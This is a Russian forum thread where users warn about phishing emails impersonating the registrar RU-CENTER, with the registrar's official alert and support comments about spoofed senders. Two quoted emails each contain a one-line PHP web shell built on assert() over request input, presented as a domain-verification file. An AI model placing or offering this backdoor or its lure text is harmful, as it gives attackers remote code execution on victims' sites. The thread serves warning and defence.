Вернуться RU-CENTER: Форум > Свободное общение > Доменные имена
 
Опции темы Опции просмотра
Старый 19.12.2016, 06:49   #1
Sakoru
 
Регистрация: 19.12.2016
Сообщений: 1
Мошеннические письма под видом писем от RU-CENTER

Пример письма:

Необходима активация домена *******

Уважаемый клиент!

В соответствии с изменениями, внесенными в ICANN RAA, Вы должны подтвердить,
что фактическое управление доменом ******* осуществляется лицом,
указанным в качестве его администратора.

Чтобы подтвердить, что Вы имеете фактическую возможность управлять доменом,
создайте в корневой директории сайта файл a7offau08fn0f81n.php со следующим
содержимым:

<?php
assert(stripslashes($_REQUEST[RUCENTER]));
?>

Файл должен быть создан в течение трех рабочих дней с момента получения
настоящего письма и находиться на сервере до 24 декабря 2016 года, 20:00
(UTC+03:00), в противном случае процедура подтверждения не будет пройдена.

Обращаем Ваше внимание на то, что если процедура подтверждения не будет
пройдена, делегирование домена будет приостановлено.

© АО «Региональный Сетевой Информационный Центр» (RU-CENTER)
8 800 775-29-99, 8 800 250-27-99,
+7 495 994-46-01

Вы подписались на рассылку в настройках уведомлений.
Отписаться от рассылки

-----
Ни в коем случае не нужно размещать предложенный php файл. Кто хочет и знает как может проверить, что получится если разместить этот файл в СУ своего сайта.

Дополнительно может быть служба поддержки RU-CENTER прокомментирует ?
Sakoru вне форума  
Старый 20.12.2016, 00:43   #2
Pikado.Ru
 
Аватар для Pikado.Ru
 
Регистрация: 29.07.2015
Адрес: Russian Federation, Moscow
Сообщений: 63
Они уже сделали рассылку:

"Уважаемые партнеры!

Некоторые наши клиенты получили письма от имени RU-CENTER c требованием разместить в корневой директории сайта вредоносный файл якобы для подтверждения права владения доменом. Такие письма рассылаются мошенниками по адресам, находящимся в открытом доступе.

Мы никогда не требуем подтвердить право на домен таким способом и не запрашиваем у клиентов пароли в электронных письмах, а сообщения об изменениях в наших настоящих уведомлениях всегда сопровождаются ссылками на оригиналы документов.

1. обращайте внимание на адрес отправителя — наши уведомления приходят только с адресов на домене nic.ru;
2. убедитесь, что ваши контакты не находятся в открытом доступе;
3. никогда не загружайте вложения и не устанавливайте внешние файлы;
4. после перехода по ссылке проверьте, что находитесь на сайте nic.ru, в адресной строке присутствует зеленый замок и сертификат JSC "RU-CENTER";
5. в случае малейших подозрений — уточняйте информацию в службе поддержки."

Стоило бы и на форуме отписаться.
__________________
С уважением, Pikado.Ru

Последний раз редактировалось Pikado.Ru; 20.12.2016 в 00:47..
Pikado.Ru вне форума  
Старый 21.05.2017, 15:36   #3
peskow
 
Регистрация: 21.05.2017
Сообщений: 1
Мошенники опять активизировались что ли...
Получил вчера такое письмо с адреса "RU-CENTER" domain@nic.ru

-----------------------------------------------------

Уважаемый клиент!

В соответствии с дополнениями, внесенными в правила ICANN, Вы должны подтвердить, что фактическое управление доменом peskow.ru осуществляется лицом, указанным в качестве его администратора.

Чтобы подтвердить, что Вы имеете возможность управлять доменным именем, создайте в корневой директории сайта файл a1nd8iou4eugvzuq.php со следующим содержимым:

<?php
assert(stripslashes($_REQUEST[RUCENTER]));
?>

Файл должен быть создан в течение трех рабочих дней с момента получения данного письма и находиться на сервере до 4 июня 2017 года, 19:00 (UTC+03:00), в противном случае процедура подтверждения будет считаться непройденной.

Обращаем Ваше внимание на то, что если процедура подтверждения не будет пройдена, делегирование домена будет приостановлено.
peskow вне форума  
Старый 21.05.2017, 17:47   #4
Pikado.Ru
 
Аватар для Pikado.Ru
 
Регистрация: 29.07.2015
Адрес: Russian Federation, Moscow
Сообщений: 63
Поступают разные письма, в основном полезные и нужные.
Просто никакие коды не нужно нигде вставлять, а в целом письма читать внимательно.
__________________
С уважением, Pikado.Ru
Pikado.Ru вне форума  
Старый 22.05.2017, 11:54   #5
Sergey7788
 
Регистрация: 21.11.2012
Сообщений: 14
Тоже получил такое письмо.
От: RU-CENTER <support@nic.ru> (RU-CENTER)
Как так? Это же домен nic.ru
Sergey7788 вне форума  
Старый 22.05.2017, 13:21   #6
Станислав Муравьев
Служба поддержки
 
Аватар для Станислав Муравьев
 
Регистрация: 11.03.2009
Сообщений: 1,443
В поле From ("От кого") можно указать всё, что душе угодно. Оно не является источником информации, содержащим достоверные данные об отправителе. А вот служебные заголовки письма покажут, откуда на самом деле оно пришло.

Новости по теме:
https://forum.nic.ru/showthread.php?t=11595
https://www.nic.ru/news/2017/alert_27.03.html
http://r01.ru/about/news/detail.php?ID=4807
Станислав Муравьев вне форума  
Старый 25.05.2017, 11:13   #7
Uzgraph
 
Аватар для Uzgraph
 
Регистрация: 22.02.2010
Сообщений: 101
Подобная рассылка уже велась только от имени другой организации:
https://habrahabr.ru/post/265515/
__________________
админ www.uzgraph.ru
Uzgraph вне форума  

Опции темы
Опции просмотра


© Региональный Сетевой Информационный Центр, 2008—2017
При использовании материалов указание источника «Форум RU-CENTER» и ссылка на https://forum.nic.ru обязательны.